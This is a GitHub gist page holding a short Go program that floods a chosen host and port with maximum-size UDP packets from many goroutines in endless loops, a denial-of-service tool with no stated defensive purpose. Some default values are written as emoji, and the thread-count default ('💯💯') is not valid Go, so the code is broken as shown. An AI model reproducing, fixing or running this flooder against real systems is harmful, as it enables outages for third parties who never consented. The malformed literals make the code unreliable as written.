Skip to content

Instantly share code, notes, and snippets.

@andnasnd
Created May 1, 2022 09:24
Show Gist options
  • Save andnasnd/8c8bb495be354f46deecbcdbf1c9ca00 to your computer and use it in GitHub Desktop.
Save andnasnd/8c8bb495be354f46deecbcdbf1c9ca00 to your computer and use it in GitHub Desktop.
sent from iphone
package main
import (
"flag"
"fmt"
"net"
)
var (
_host = flag.String("h", "🤡", "Specify Host")
_port = flag.Int("p", 443, "Specify Port")
_threads = flag.Int("t", 💯💯, "Specify threads")
_size = flag.Int("s", 65507, "Packet Size")
)
func main() {
flag.Parse()
fullAddr := fmt.Sprintf("%s:%v", *_host, *_port)
buf := make([]byte, *_size)
conn, err := net.Dial("udp", fullAddr)
if err != nil {
fmt.Println(err)
} else {
fmt.Printf("Flooding 🌊 %s\n", fullAddr)
for i := 0; i < *_threads; i++ {
go func() {
for {
conn.Write(buf)
}
}()
}
}
<-make(chan bool, 1)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment